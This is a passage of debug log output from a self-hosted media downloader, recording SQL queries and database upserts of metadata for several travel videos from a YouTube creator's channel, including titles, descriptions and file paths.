NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [342888] 17:26:51.518 [debug] Current batch of media processed. Will check again in 1000ms 17:26:52.519 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "duration" => 2295, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", "id" => "7sCIBpshaCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7sCIBpshaCI", "playlist_index" => 3, "timestamp" => 1782502970, "title" => "China's Loneliest Man Shows Me His World", "upload_date" => "20260626"} 17:26:52.520 [debug] QUERY OK source="sources" db=0.3ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:26:52.520 [debug] QUERY OK source="sources" db=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:52.521 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 17:26:52.522 [debug] QUERY OK source="media_items" db=0.9ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "8a1c6ce3-7835-488e-b008-a6cd55cb06f1", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 00:26:52Z], ~U[2026-08-20 00:26:52Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 17:26:52.522 [debug] QUERY OK source="sources" db=0.1ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:52.523 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:52.523 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [251562] 17:26:52.523 [debug] Current batch of media processed. Will check again in 1000ms 17:26:53.524 [debug] Current batch of media processed. Will check again in 1000ms 17:26:54.525 [debug] Current batch of media processed. Will check again in 1000ms 17:26:55.526 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "duration" => 1064, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", "id" => "MEDlM-cA1Z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "playlist_index" => 4, "timestamp" => 1781884520, "title" => "Inside China's Insane Propaganda Theme Park", "upload_date" => "20260619"} 17:26:55.527 [debug] QUERY OK source="sources" db=0.2ms idle=1243.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:26:55.527 [debug] QUERY OK source="sources" db=0.1ms idle=1243.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:55.527 [debug] QUERY OK source="media_items" db=0.2ms idle=1244.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 17:26:55.537 [debug] QUERY OK source="media_items" db=9.1ms idle=1030.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "6b13902f-ea2c-49d9-be8f-51a5899dbf5e", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 00:26:55Z], ~U[2026-08-20 00:26:55Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 17:26:55.537 [debug] QUERY OK source="sources" db=0.2ms idle=38.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:55.538 [debug] QUERY OK source="media_profiles" db=0.1ms idle=10.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:55.538 [debug] QUERY OK source="media_items" db=0.2ms idle=11.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [220422] 17:26:55.538 [debug] Current batch of media processed. Will check again in 1000ms 17:26:56.539 [debug] Current batch of media processed. Will check again in 1000ms 17:26:57.540 [debug] Current batch of media processed. Will check again in 1000ms 17:26:58.541 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "duration" => 2055, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", "id" => "B_S4NGLGbIM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B_S4NGLGbIM", "playlist_index" => 5, "timestamp" => 1781282249, "title" => "Finding China’s Lost Cave Village (30 years abandoned)", "upload_date" => "20260612"} 17:26:58.542 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1258.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:26:58.542 [debug] QUERY OK source="sources" db=0.2ms idle=1259.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:58.543 [debug] QUERY OK source="media_items" db=0.2ms idle=1259.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 17:26:58.550 [debug] QUERY OK source="media_items" db=6.5ms idle=1041.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "69bafb67-fd0a-40ea-9c05-76b7897da60a", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 00:26:58Z], ~U[2026-08-20 00:26:58Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 17:26:58.550 [debug] QUERY OK source="sources" db=0.1ms idle=47.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:26:58.550 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:58.551 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190542] 17:26:58.551 [debug] Current batch of media processed. Will check again in 1000ms 17:26:59.552 [debug] Current batch of media processed. Will check again in 1000ms 17:27:00.062 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:00.553 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "duration" => 1894, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", "id" => "EIlIbE9HuB4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EIlIbE9HuB4", "playlist_index" => 6, "timestamp" => 1780066592, "title" => "4,000 People Live On Japan's Most Active Volcano", "upload_date" => "20260529"} 17:27:00.554 [debug] QUERY OK source="sources" db=0.2ms idle=491.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:00.554 [debug] QUERY OK source="sources" db=0.3ms idle=270.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:00.555 [debug] QUERY OK source="media_items" db=0.3ms idle=271.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 17:27:00.557 [debug] QUERY OK source="media_items" db=1.6ms idle=271.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "57a527aa-cb9e-4485-a92f-c9519e57b3e0", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 00:27:00Z], ~U[2026-08-20 00:27:00Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 17:27:00.557 [debug] QUERY OK source="sources" db=0.2ms idle=52.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", 